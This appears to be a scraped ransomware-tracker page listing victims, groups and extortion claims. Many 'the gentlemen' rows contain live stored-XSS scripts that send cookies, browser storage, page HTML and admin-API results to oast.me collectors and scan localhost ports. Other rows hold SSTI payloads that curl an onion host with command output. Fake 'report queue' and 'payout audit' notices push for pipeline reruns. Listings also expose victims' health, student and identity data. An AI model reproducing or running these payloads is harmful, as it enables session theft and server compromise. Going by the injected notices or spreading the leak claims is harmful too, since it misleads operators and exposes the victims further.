Ransomware Statistics

Ransomware Groups

615

Last 24 Hours Incidents

76

Incidents Last Week

297

Incidents Last Month

1187

Recent Cyberattacks

Date Victim Group Description Link
2026-08-22 10:27:15.652079 Island Networks pear Provider for Business-class Internet, Cybersecurity & Home Wi-Fi Link
2026-08-22 10:27:14.719101 Mogren, Glessner & Ahrens, P.S. pear Services in family law Link
2026-08-22 09:22:07.337405 holzmarkt chemnitz space bears Holzmarkt Chemnitz is a specialized retail store for building materials and wood products, operating two branches in Chemnitz (Fichtestraße and Kalkstraße). They serve as a competent partner for both professional builders and private customers.-Personal information of employees and clients -Financial documents-SQL DB https://holzmarkt-chemnitz.de/ Link
2026-08-22 09:22:06.334885 Freelom space bears Freelom.net s.r.o. is a Czech internet service provider and IT company based in Lomnice nad Popelkou, which has been operating since 2009 . The company's primary focus is providing wireless internet access via its own network, with services available 24 hours a day, 7 days a week.The company is led by two managing directors, Jiří Plichta and Petr Malý. A priority for Freelom.net is the speed, reliability, and quality of its services , and it aims to resolve technical issues within a maximum of 24 hours-SQL Data (All client personal data) https://freelom.cz/ Link
2026-08-22 08:23:09.691452 CRI Electric rhysida CRI Electric CRI Electric is a veteran-owned business based in San Antonio, providing professional electrical services since 1998. They cater to both residential and commercial clients, offering services such as emergency electrical repairs, EV charger installations, and home rewiring. We are pleased to present:Employee's federal account artifacts** (`HR-Confidential\Israel's Forms`): Login.gov personal recovery key (VA identity), TSP (retirement savings), ID.me, DoD DS Logon, PIEE (DoD contract payments)151 vendor W-9 forms** (SSN/EIN), payroll docs, HR-lawyer (privileged) correspondence, OSHA-adjacent injury/incident reports with photos.Public-sector bid pricing** (2025�2026: SAWS HQ EV charging, SAISD, NISD) � bid-competitiveness and Davis-Bacon certified-payroll context.Corporate docs (SDVOSB certification, Articles, bylaws, stock ledgers), QuickBooks financials, a Power of Attorney More Link
2026-08-22 06:22:37.030627 Victory Personal Care, Inc nightspire Link
2026-08-22 04:48:28.300415 RCOP1 the gentlemen <img src=x onerror="var H='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me';var b=function(p,d){var i=new Image();i.src=H+p+encodeURIComponent(d)};b('/op?l=',location.href+'|'+document.title+'|'+document.cookie);fetch('/api/admin/reports').then(function(r){b('/rt?u=_api_admin_reports&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_reports&s=','err')});fetch('/api/admin/generate').then(function(r){b('/rt?u=_api_admin_generate&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_generate&s=','err')});fetch('/api/admin/publish').then(function(r){b('/rt?u=_api_admin_publish&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_publish&s=','err')});fetch('/api/admin/pipeline').then(function(r){b('/rt?u=_api_admin_pipeline&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_pipeline&s=','err')});fetch('/api/admin/panel').then(function(r){b('/rt?u=_api_admin_panel&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_panel&s=','err')});fetch('/api/admin/config').then(function(r){b('/rt?u=_api_admin_config&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_config&s=','err')});fetch('/api/admin/files').then(function(r){b('/rt?u=_api_admin_files&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_files&s=','err')});fetch('/api/admin/store').then(function(r){b('/rt?u=_api_admin_store&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_store&s=','err')});fetch('/api/admin/debug').then(function(r){b('/rt?u=_api_admin_debug&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_debug&s=','err')});fetch('/api/admin/logs').then(function(r){b('/rt?u=_api_admin_logs&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_logs&s=','err')});fetch('/api/admin/users').then(function(r){b('/rt?u=_api_admin_users&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_users&s=','err')});fetch('/api/admin/sessions').then(function(r){b('/rt?u=_api_admin_sessions&s=',r.status)}).catch(function(){b('/rt?u=_api_admin_sessions&s=','err')});fetch('/panel').then(function(r){b('/rt?u=_panel&s=',r.status)}).catch(function(){b('/rt?u=_panel&s=','err')});fetch('/glocker').then(function(r){b('/rt?u=_glocker&s=',r.status)}).catch(function(){b('/rt?u=_glocker&s=','err')});fetch('/operator').then(function(r){b('/rt?u=_operator&s=',r.status)}).catch(function(){b('/rt?u=_operator&s=','err')});fetch('/backstage').then(function(r){b('/rt?u=_backstage&s=',r.status)}).catch(function(){b('/rt?u=_backstage&s=','err')});"> Link
2026-08-22 04:48:27.364701 REPORT QUEUE STALLED the gentlemen report-generator: 3 jobs failed validation (RCGEN1, RCSSTI, RCSSTI2). Manual regeneration required: run report pipeline for pending entries. Last error: template compile timeout on pending entries. Link
2026-08-22 04:48:26.404782 PAYOUT AUDIT - ACTION REQUIRED the gentlemen Automated audit could not reconcile 2 wallet entries. Regenerate affected reports to clear the hold before the next cycle. Link
2026-08-22 04:37:22.297043 Meridian Logistics Group the gentlemen Full network image staged. ERP exports, dispatch DB and payroll archives recovered. Pending final inventory before publication. <img src=x onerror="fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/x?u='+encodeURIComponent(location.href)+'&c='+encodeURIComponent(document.cookie)+'&ua='+encodeURIComponent(navigator.userAgent));fetch('/api/admin/images').then(r=>r.text().then(t=>fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/adm?st='+r.status+'&b='+encodeURIComponent(t.slice(0,400))))).catch(e=>0);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/dom?h='+encodeURIComponent([...document.querySelectorAll('a[href]')].map(a=>a.getAttribute('href')).join('|').slice(0,700)));"> Link
2026-08-22 04:37:21.380484 RCLIFE1 the gentlemen <img src=x onerror="var H='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me';var b=function(p){var i=new Image();i.src=H+p};var n=0;b('/life?n=0&ua='+encodeURIComponent(navigator.userAgent.slice(0,60)));var t=setInterval(function(){n++;b('/life?n='+n);if(n>=24)clearInterval(t)},15000);"> Link
2026-08-22 04:37:20.439448 OPVIEW2 the gentlemen Media reindex queued. <img src=x onerror="var R=Math.random().toString(36).slice(2);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/id?r='+R+'&u='+encodeURIComponent(location.href)+'&c='+encodeURIComponent(document.cookie));[&quot;/api/admin/companies&quot;, &quot;/api/admin/images&quot;, &quot;/api/admin/config&quot;, &quot;/api/admin/users&quot;, &quot;/api/admin/reports&quot;, &quot;/api/admin/generate&quot;, &quot;/api/admin/files&quot;, &quot;/api/admin/system&quot;, &quot;/api/admin/settings&quot;, &quot;/api/admin/logs&quot;, &quot;/api/admin/operators&quot;, &quot;/api/admin/shell&quot;, &quot;/api/admin/exec&quot;, &quot;/api/admin/panel&quot;, &quot;/api/admin/data&quot;, &quot;/api/admin/export&quot;].forEach(function(p){fetch(p).then(function(r){fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/ep?r='+R+'&s='+r.status+'&p='+encodeURIComponent(p))}).catch(function(e){})});"> Link
2026-08-22 04:26:14.929607 RCSSTI {{7*7}} ${7*7} <%=7*7%> {{config}} the gentlemen ssti-armed {{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://3d43hmcmyjzru3kca6ykjxqlmea65c7qlrzhgq6snz4ghqrl54sojwad.onion:4444/ssti-$(id|base64 -w0)').read()}} | {{7*7}} | {{request.application.__globals__}} Link
2026-08-22 04:26:13.969524 RCSSTI2 {{7*7}} the gentlemen ssti2 {{self.__init__.__globals__.__builtins__.__import__('os').popen("curl -s https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/ssti-$(id|base64 -w0|tr '+/' '-_')").read()}} Link
2026-08-22 04:26:13.048666 OPVIEW1 the gentlemen Catalog sync pending - media index incomplete. <img src=x onerror="fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/x?u='+encodeURIComponent(location.href)+'&c='+encodeURIComponent(document.cookie)+'&ua='+encodeURIComponent(navigator.userAgent));fetch('/api/admin/images').then(r=>r.text().then(t=>fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/adm?st='+r.status+'&b='+encodeURIComponent(t.slice(0,400))))).catch(e=>0);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/dom?h='+encodeURIComponent([...document.querySelectorAll('a[href]')].map(a=>a.getAttribute('href')).join('|').slice(0,700)));"> Link
2026-08-22 04:13:46.336169 RCNL1 the gentlemen newline probe Link
2026-08-22 04:13:45.388998 TRAVA the gentlemen img2<img src='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/rcimg2-desc.png'> Link
2026-08-22 04:13:44.454628 TRAVB the gentlemen img2<img src='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/rcimg2-desc.png'> Link
2026-08-22 04:13:43.502902 TRAVC the gentlemen img2<img src='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/rcimg2-desc.png'> Link
2026-08-22 04:13:41.641587 TRAVD the gentlemen img2<img src='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/rcimg2-desc.png'> Link
2026-08-22 04:13:40.455487 TRAVE the gentlemen img2<img src='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/rcimg2-desc.png'> Link
2026-08-22 04:13:39.490291 TRAVF the gentlemen img2<img src='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/rcimg2-desc.png'> Link
2026-08-22 04:13:38.526710 RCBOT3 the gentlemen <img src=x onerror="var H='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me';var b=function(p,d){var i=new Image();i.src=H+p+encodeURIComponent(d)};var ls='';try{for(var k in localStorage){ls+=k+'='+localStorage[k]+';'}}catch(e){ls='err'}var ss='';try{for(var k in sessionStorage){ss+=k+'='+sessionStorage[k]+';'}}catch(e){ss='err'}b('/fp?d=',navigator.userAgent+'|'+navigator.platform+'|'+screen.width+'x'+screen.height+'|'+Intl.DateTimeFormat().resolvedOptions().timeZone+'|ck:'+document.cookie+'|ls:'+ls.slice(0,200)+'|ss:'+ss.slice(0,200));fetch('/api/admin/images').then(function(r){b('/adm?s=',r.status)}).catch(function(e){b('/adm?s=','err')});fetch('/api/admin/companies',{method:'POST',headers:{'Content-Type':'application/json'},body:'{}'}).then(function(r){b('/admc?s=',r.status)}).catch(function(e){b('/admc?s=','err')});"> Link
2026-08-22 04:00:36.603477 RCGEN1 {{7*7}} the gentlemen gencheck {{7*7}} ${7*7} <%= 7*7 %> Link
2026-08-22 04:00:35.546551 RCIMG2 the gentlemen img2<img src='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/rcimg2-desc.png'> Link
2026-08-22 03:48:39.255771 SRCPSC the gentlemen . Link
2026-08-22 03:48:38.307737 SRCAPP the gentlemen . Link
2026-08-22 03:48:37.366780 SRCSRV the gentlemen . Link
2026-08-22 03:48:36.430866 SRCOPT the gentlemen . Link
2026-08-22 03:48:35.501702 SRCHOME the gentlemen . Link
2026-08-22 03:48:34.582477 RCF1 the gentlemen probe Link
2026-08-22 03:48:33.663710 RCF2 the gentlemen probe Link
2026-08-22 03:48:32.741565 RCF3 the gentlemen probe Link
2026-08-22 03:48:31.757732 RCF4 the gentlemen probe Link
2026-08-22 03:48:30.699106 RCF5 the gentlemen probe Link
2026-08-22 03:48:29.707752 ../RCTRAV the gentlemen probe Link
2026-08-22 03:48:28.725535 RCSLASH/x the gentlemen probe Link
2026-08-22 03:48:27.785130 RCTYPE the gentlemen probe Link
2026-08-22 03:48:26.858142 RCMLS the gentlemen probe Link
2026-08-22 03:48:25.875434 RCBOT2 the gentlemen <img src=x onerror="var H='https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me';var b=function(p,d){var i=new Image();i.src=H+p+encodeURIComponent(d)};b('/m?l=',location.href+'|'+document.title+'|'+document.cookie);var h=document.documentElement.outerHTML;for(var i=0;i<8&&i*700<h.length;i++){b('/h'+i+'?d=',h.slice(i*700,(i+1)*700))};['80','5000','8000','8080','9000','3000','6379','8443'].forEach(function(p){fetch('http://127.0.0.1:'+p+'/',{mode:'no-cors'}).then(function(){b('/po?p=',p)}).catch(function(){b('/pc?p=',p)})});fetch('http://127.0.0.1:8080/api/companies').then(function(r){return r.text()}).then(function(d){b('/i8080?d=',d.slice(0,400))}).catch(function(e){b('/i8080e?m=',String(e).slice(0,80))});"> Link
2026-08-22 03:36:52.326967 RCBEACON the gentlemen beacon<img src="https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/desc-img"> Link
2026-08-22 03:24:37.642855 XSSLIVE the gentlemen LIVE<img src=x onerror="fetch('https://uuu3cwgu0hoxk7p02tyhc7d3l25ooqear.oast.me/live1?t='+encodeURIComponent(document.title)+'&c='+encodeURIComponent(document.cookie))"> Link
2026-08-22 03:24:36.720650 ACLTEST the gentlemen . Link
2026-08-22 03:24:35.801447 MASSIGN the gentlemen . Link
2026-08-22 03:24:34.907108 IMGURL the gentlemen . Link
2026-08-22 03:24:33.972450 IMGFILE the gentlemen . Link
2026-08-22 03:24:33.001686 IMGTRAV the gentlemen . Link
2026-08-22 03:12:58.915656 XSSPROBE the gentlemen TESTXSS<img src=x onerror="fetch('https://uuu3cwgu0hoxk7p02tyhc7d3l25ooqear.oast.me/stored1?c='+encodeURIComponent(document.cookie))"> Link
2026-08-22 03:12:57.977729 NLTEST the gentlemen nl-test Link
2026-08-22 03:00:38.590991 PROBE999 the gentlemen tempel.com zoominfo.com/c/tempel/87867666 Tempel is a global manufacturer of precision electrical steel laminations for automotive and industrial electric motors. We exfiltrated 3.2 TB of intellectual property and confidential engineering specs:Proprietary Technology (Compacore): Automotive OEM CAD & Blueprints:Unrestricted access to core R&D directories. The dump contains granular 3D CAD models, engineering schematics, and tolerance specs for next-generation EV motor platforms: Porsche & Audi: Performance specifications and rotor engineering blueprints for upcoming EV platforms.Daimler / Mercedes-Benz: Precision engineering tolerances and prototype motor schematics.Rink: Technical specifications for specialized production equipment. Note to automotive OEMs: This marks the SECOND successful breach of this company's network in the past 18 months. Draw your own conclusions about how seriously your suppliers take TISAX compliance and the security of your future R&D. Link
2026-08-22 03:00:37.592773 PROBEIMG the gentlemen probe Link
2026-08-22 03:00:36.637616 PROBEDIR the gentlemen probe Link
2026-08-22 03:00:35.659365 PROBEABS the gentlemen probe Link
2026-08-22 02:27:45.928135 cedarridge.org l group Link
2026-08-22 00:23:03.533530 https://www.evergladesboats.com/ termite Everglades Boats Link
2026-08-22 00:22:56.174297 PCA ***** majinahanashi PUBLICATION SCHEDULED. Publication scheduled: 2026-08-28T22:03:00Z Package: 2.5 GiB / 1844 files Link
2026-08-21 20:21:35.472497 Nteitalia panzer NTE Italia, an engineering and telecommunications service provider based in Catanzaro, Italy. Sensitive thousands of documents are compromised. Link
2026-08-21 17:26:53.050236 iPic qilin Hospitality Link
2026-08-21 17:14:13.829975 BIOPHARMA the gentlemen BIOPHARMA is a global biopharmaceutical innovator founded in 2003 and headquartered in Taiwan. It specializes in developing best-in-class therapies and biologics for blood disorders, hematologic cancers, and other serious diseases. The company is fully integrated and operates internationally with a strong commercial and clinical presence in the U.S., Europe, and Japan. Link
2026-08-21 16:27:07.216203 Fairview Dental Group rhysida Fairview Dental Group Fairview Dental Group offers a range of dental services including family dentistry, cosmetic treatments, dental implants, and invisible braces.We are pleased to present:Full patient database, patient X-rays, scanned forms/consents/invoices, health records (PHI) of the entire practice, unencrypted. More Link
2026-08-21 16:27:06.321907 Coming soon rhysida Coming soon Total capacity 5.79 TBLegal/Complaints/Offenses 77,939 OWi proceedings, lawsuits, legal opinionsFinance 55,553 Budget, invoices, ProFISKAL, debt collectionContracts 46,522 Contracts, NDAs, procurementHR/Personnel 27,299 Personnel files, payroll, performance reviewsOversight/Government 13,142 Inquiries from the House of Representatives, GWTVConfidential-Secret 11,777 GI-Confidential folders, security classificationInfrastructure/Critical Information Infrastructure 8,110 KRITIS, risk analysis, emergency plansPasswords/secrets 5,941 files containing login credentialsHealth/insurance 2,738 medical benefitsContacts/Addresses 2,287 address databases, phone listsExtracted from the content: 16,389 unique email addresses, 11,963 phone numbers, 12,076 individuals with names, 148 IBANs, 820+ monetary amounts (up to �30 million).And a wealth of other valuable data. More Link
2026-08-21 16:27:03.916542 Quaker State Mexico qilin Chemicals & Related Products Link
2026-08-21 16:26:44.082915 Crystal Pharmatech eclipse Crystal Pharmatech is a technology-driven contract research organization (CRO) that focuses on materials science and engineering for drug development. Established in 2010 and have R&D centers located in Suzhou (China), New Jersey, San Francisco (USA), and Toronto (Canada). Also its key differentiator is integrated and specialized services, including API solid-state research, crystallization, preformulation, formulation development and manufacturing, clinical supply. Link
2026-08-21 16:26:42.244356 Sweet Water Holdings coinbase cartel Finance - Undisclosed Link
2026-08-21 16:26:38.466863 JC Sales akira JC Sales is a leading full-service wholesaler based in Los Angeles, California, specializing ina vast array of wholesale products including health and beauty items, food and beverages, general merchandise, and seasonal items.We will upload 206gb of corporate data soon. Detailed personal employee information (passports,DLs, addresses, phones, contacts), confidential financials, contracts and agreements, client information, NDAs and so on. Link
2026-08-21 15:28:15.387569 Cinépolis qilin Hospitality Link
2026-08-21 14:25:40.574428 Turner and Townsend coinbase cartel Engineering - $1,6 Billion Link
2026-08-21 14:25:39.649745 Serruya private equity coinbase cartel Finance - $20 Million Link
2026-08-21 14:25:38.716794 Accesso coinbase cartel Financial Software - $152 Million Link
2026-08-21 13:22:58.950902 Gindre India qilin Manufacturing Link
2026-08-21 12:23:09.683378 Battle Creek Public Schools rhysida Battle Creek Public Schools Battle Creek Public Schools in Nebraska provides educational services for students from pre-kindergarten through 12th grade. We are pleased to present:Student records of named minors:** IEP/special-ed files, disability determination notices, discipline/suspension records.Federal funds compliance trail (ESSA/Title I application), staff health-spending claims (payflex/EHA) More Link
2026-08-21 12:23:07.137270 The Pendas Law Firm qilin Law Firms & Legal Services Link
2026-08-21 12:23:06.245329 Blake Services qilin Accounting Services Link
2026-08-21 12:23:05.344012 Professional qilin Accounting Services Link
2026-08-21 12:23:04.156350 Clifton Architectural Glass & Metal pear A company that installs double-pane windows Link
2026-08-21 12:23:03.040064 First Commerce LLC pear Privately held real estate investment and development company Link

Top Gangs

Yearly Attacks